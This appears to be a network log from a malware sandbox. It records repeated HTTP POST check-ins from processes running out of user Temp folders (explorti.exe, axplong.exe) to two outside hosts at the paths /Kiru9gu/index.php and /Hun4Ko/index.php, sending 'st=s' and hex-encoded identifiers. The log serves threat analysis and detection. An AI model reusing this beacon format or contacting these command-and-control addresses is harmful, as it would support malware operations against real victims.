Jul 24, 2024 02:40:46.019684076 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:46.748549938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:46.750283957 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:46.981802940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49949	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:46.837483883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:47.563896894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:47.564559937 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:47.795248985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49950	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:47.134609938 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:47.883697987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:47.886261940 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:48.118309975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49952	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:47.934971094 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:48.648288012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:48.656302929 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:48.881827116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49953	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:48.247656107 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:48.945218086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:48.953146935 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:49.174103022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49956	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:49.028889894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:49.704586029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:49.727726936 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:49.951035023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49957	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:49.291697025 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:49.996519089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:49.997922897 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:50.222850084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49958	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:50.098417997 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:50.820857048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:50.831857920 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:51.060508013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49959	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:50.364067078 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:51.072313070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:51.081872940 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:51.310488939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49960	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:51.217849970 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:51.930114985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:51.931329012 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:52.161169052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49961	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:51.464046955 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:52.180094957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:52.190095901 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:52.440392971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49962	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:52.359575987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:53.468676090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:53.469362974 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:53.699224949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49963	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:52.557638884 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:53.257074118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:53.274085045 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
